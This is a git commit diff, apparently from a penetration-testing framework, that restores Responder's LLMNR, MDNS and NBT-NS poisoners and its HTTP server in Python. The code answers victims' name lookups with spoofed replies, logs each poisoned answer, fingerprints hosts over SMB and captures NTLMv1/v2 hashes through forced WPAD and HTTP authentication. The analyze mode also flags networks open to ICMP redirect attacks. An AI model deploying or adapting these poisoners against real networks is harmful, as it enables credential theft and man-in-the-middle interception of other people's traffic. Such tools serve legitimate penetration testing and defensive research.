Second pass:

MDNS, LLMNR and NBTNS poisoners are back online
HTTP server now functional
This commit is contained in:
byt3bl33d3r 2015-08-02 22:52:09 +02:00
commit 8b55a2e3f5
8 changed files with 259 additions and 85 deletions

View file

@ -16,79 +16,111 @@
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import socket
import struct
import core.responder.settings
import core.responder.fingerprint
import core.responder.settings as settings
import core.responder.fingerprint as fingerprint
import threading
from core.reponder.packets import LLMNR_Ans
from traceback import print_exc
from core.responder.packets import LLMNR_Ans
from core.responder.odict import OrderedDict
from SocketServer import BaseRequestHandler
from SocketServer import BaseRequestHandler, ThreadingMixIn, UDPServer
from core.responder.utils import *
class LLMNR:
def start(self):
try:
server = ThreadingUDPLLMNRServer(('', 5355), LLMNRServer)
t = threading.Thread(name='LLMNR', target=server.serve_forever)
t.setDaemon(True)
t.start()
except Exception as e:
print "Error starting LLMNR server on port 5355"
print_exc()
class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer):
allow_reuse_address = 1
def server_bind(self):
MADDR = "224.0.0.252"
self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP,socket.inet_aton(MADDR) + settings.Config.IP_aton)
if OsInterfaceIsSupported():
try:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0')
except:
pass
UDPServer.server_bind(self)
def Parse_LLMNR_Name(data):
NameLen = struct.unpack('>B',data[12])[0]
Name = data[13:13+NameLen]
return Name
NameLen = struct.unpack('>B',data[12])[0]
Name = data[13:13+NameLen]
return Name
def IsOnTheSameSubnet(ip, net):
net = net+'/24'
ipaddr = int(''.join([ '%02x' % int(x) for x in ip.split('.') ]), 16)
netstr, bits = net.split('/')
netaddr = int(''.join([ '%02x' % int(x) for x in netstr.split('.') ]), 16)
mask = (0xffffffff << (32 - int(bits))) & 0xffffffff
return (ipaddr & mask) == (netaddr & mask)
net = net+'/24'
ipaddr = int(''.join([ '%02x' % int(x) for x in ip.split('.') ]), 16)
netstr, bits = net.split('/')
netaddr = int(''.join([ '%02x' % int(x) for x in netstr.split('.') ]), 16)
mask = (0xffffffff << (32 - int(bits))) & 0xffffffff
return (ipaddr & mask) == (netaddr & mask)
def IsICMPRedirectPlausible(IP):
dnsip = []
for line in file('/etc/resolv.conf', 'r'):
ip = line.split()
if len(ip) < 2:
continue
if ip[0] == 'nameserver':
dnsip.extend(ip[1:])
for x in dnsip:
if x !="127.0.0.1" and IsOnTheSameSubnet(x,IP) == False:
print color("[Analyze mode: ICMP] You can ICMP Redirect on this network.", 5)
print color("[Analyze mode: ICMP] This workstation (%s) is not on the same subnet than the DNS server (%s)." % (IP, x), 5)
print color("[Analyze mode: ICMP] Use `python tools/Icmp-Redirect.py` for more details.", 5)
else:
pass
dnsip = []
for line in file('/etc/resolv.conf', 'r'):
ip = line.split()
if len(ip) < 2:
continue
if ip[0] == 'nameserver':
dnsip.extend(ip[1:])
for x in dnsip:
if x !="127.0.0.1" and IsOnTheSameSubnet(x,IP) == False:
print color("[Analyze mode: ICMP] You can ICMP Redirect on this network.", 5)
print color("[Analyze mode: ICMP] This workstation (%s) is not on the same subnet than the DNS server (%s)." % (IP, x), 5)
print color("[Analyze mode: ICMP] Use `python tools/Icmp-Redirect.py` for more details.", 5)
else:
pass
if settings.Config.AnalyzeMode:
IsICMPRedirectPlausible(settings.Config.Bind_To)
IsICMPRedirectPlausible(settings.Config.Bind_To)
# LLMNR Server class
class LLMNRServer(BaseRequestHandler):
def handle(self):
data, soc = self.request
Name = Parse_LLMNR_Name(data)
def handle(self):
data, soc = self.request
Name = Parse_LLMNR_Name(data)
# Break out if we don't want to respond to this host
if RespondToThisHost(self.client_address[0], Name) is not True:
return None
# Break out if we don't want to respond to this host
if RespondToThisHost(self.client_address[0], Name) is not True:
return None
if data[2:4] == "\x00\x00" and Parse_IPV6_Addr(data):
if data[2:4] == "\x00\x00" and Parse_IPV6_Addr(data):
if settings.Config.Finger_On_Off:
Finger = fingerprint.RunSmbFinger((self.client_address[0], 445))
else:
Finger = None
if settings.Config.Finger_On_Off:
Finger = fingerprint.RunSmbFinger((self.client_address[0], 445))
else:
Finger = None
# Analyze Mode
if settings.Config.AnalyzeMode:
LineHeader = "[Analyze mode: LLMNR]"
print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)
# Analyze Mode
if settings.Config.AnalyzeMode:
LineHeader = "[Analyze mode: LLMNR]"
print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)
# Poisoning Mode
else:
Buffer = LLMNR_Ans(Tid=data[0:2], QuestionName=Name, AnswerName=Name)
Buffer.calculate()
soc.sendto(str(Buffer), self.client_address)
LineHeader = "[*] [LLMNR]"
# Poisoning Mode
else:
Buffer = LLMNR_Ans(Tid=data[0:2], QuestionName=Name, AnswerName=Name)
Buffer.calculate()
soc.sendto(str(Buffer), self.client_address)
LineHeader = "[*] [LLMNR]"
print color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1)
print color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1)
if Finger is not None:
print text("[FINGER] OS Version : %s" % color(Finger[0], 3))
print text("[FINGER] Client Version : %s" % color(Finger[1], 3))
if Finger is not None:
print text("[FINGER] OS Version : %s" % color(Finger[0], 3))
print text("[FINGER] Client Version : %s" % color(Finger[1], 3))

View file

@ -15,12 +15,45 @@
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import struct
import settings
import core.responder.settings as settings
import socket
import threading
from SocketServer import BaseRequestHandler
from packets import MDNS_Ans
from utils import *
from traceback import print_exc
from SocketServer import BaseRequestHandler, ThreadingMixIn, UDPServer
from core.responder.packets import MDNS_Ans
from core.responder.utils import *
class MDNS:
def start(self):
try:
server = ThreadingUDPMDNSServer(('', 5353), MDNSServer)
t = threading.Thread(name='MDNS', target=server.serve_forever)
t.setDaemon(True)
t.start()
except Exception as e:
print "Error starting MDNS server on port 5353"
print_exc()
class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer):
allow_reuse_address = 1
def server_bind(self):
MADDR = "224.0.0.251"
self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR, 1)
self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP, socket.inet_aton(MADDR) + settings.Config.IP_aton)
if OsInterfaceIsSupported():
try:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0')
except:
pass
UDPServer.server_bind(self)
def Parse_MDNS_Name(data):
data = data[12:]
@ -35,7 +68,7 @@ def Poisoned_MDNS_Name(data):
Name = data[:len(data)-5]
return Name
class MDNS(BaseRequestHandler):
class MDNSServer(BaseRequestHandler):
def handle(self):

View file

@ -15,12 +15,38 @@
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import socket
import settings
import fingerprint
import threading
import core.responder.settings as settings
import core.responder.fingerprint as fingerprint
from packets import NBT_Ans
from SocketServer import BaseRequestHandler
from utils import *
from traceback import print_exc
from core.responder.packets import NBT_Ans
from SocketServer import BaseRequestHandler, ThreadingMixIn, UDPServer
from core.responder.utils import *
class NBTNS:
def start(self):
try:
server = ThreadingUDPServer(('', 137), NBTNSServer)
t = threading.Thread(name='NBTNS', target=server.serve_forever)
t.setDaemon(True)
t.start()
except Exception as e:
print "Error starting NBTNS server on port 137"
print_exec()
class ThreadingUDPServer(ThreadingMixIn, UDPServer):
allow_reuse_address = 1
def server_bind(self):
if OsInterfaceIsSupported():
try:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0')
except:
pass
UDPServer.server_bind(self)
# Define what are we answering to.
def Validate_NBT_NS(data):
@ -42,7 +68,7 @@ def Validate_NBT_NS(data):
return False
# NBT_NS Server class.
class NBTNS(BaseRequestHandler):
class NBTNSServer(BaseRequestHandler):
def handle(self):

View file

@ -136,21 +136,17 @@ class Settings(ConfigWatcher):
# CLI options
self.Interface = options.interface
self.Force_WPAD_Auth = options.forcewpadauth
self.LM_On_Off = options.lm
self.WPAD_On_Off = options.wpad
self.Wredirect = options.wredir
self.NBTNSDomain = options.nbtns
self.Basic = options.basic
self.Finger_On_Off = options.finger
self.AnalyzeMode = options.analyze
#self.Upstream_Proxy = options.Upstream_Proxy
try:
self.LM_On_Off = options.LM_On_Off
self.WPAD_On_Off = options.WPAD_On_Off
self.Wredirect = options.Wredirect
self.NBTNSDomain = options.NBTNSDomain
self.Basic = options.Basic
self.Finger_On_Off = options.Finger
self.Force_WPAD_Auth = options.Force_WPAD_Auth
self.Upstream_Proxy = options.Upstream_Proxy
self.AnalyzeMode = options.Analyze
except AttributeError:
pass
self.Verbose = False
self.Verbose = True
self.CommandLine = str(sys.argv)
self.Bind_To = utils.FindLocalIP(self.Interface)

View file

@ -16,7 +16,9 @@
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import os
import struct
import core.responder.settings
import core.responder.settings as settings
import threading
from traceback import print_exc
from SocketServer import BaseServer, BaseRequestHandler, StreamRequestHandler, ThreadingMixIn, TCPServer
from base64 import b64decode, b64encode
@ -26,6 +28,34 @@ from core.responder.packets import NTLM_Challenge
from core.responder.packets import IIS_Auth_401_Ans, IIS_Auth_Granted, IIS_NTLM_Challenge_Ans, IIS_Basic_401_Ans
from core.responder.packets import WPADScript, ServeExeFile, ServeHtmlFile
class HTTP:
def start(self):
try:
if OsInterfaceIsSupported():
server = ThreadingTCPServer((settings.Config.Bind_To, 80), HTTP1)
else:
server = ThreadingTCPServer(('', 80), HTTP1)
t = threading.Thread(name='SMB', target=server.serve_forever)
t.setDaemon(True)
t.start()
except Exception as e:
print "Error starting HTTP server: {}".format(e)
print_exc()
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
allow_reuse_address = 1
def server_bind(self):
if OsInterfaceIsSupported():
try:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0')
except:
pass
TCPServer.server_bind(self)
# Parse NTLMv1/v2 hash.
def ParseHTTPHash(data, client):
@ -222,13 +252,14 @@ def PacketSequence(data, client):
return str(Response)
# HTTP Server class
class HTTP(BaseRequestHandler):
class HTTP1(BaseRequestHandler):
def handle(self):
try:
while True:
self.request.settimeout(1)
data = self.request.recv(8092)
GrabURL(data, self.client_address[0])
Buffer = WpadCustom(data, self.client_address[0])
if Buffer and settings.Config.Force_WPAD_Auth == False: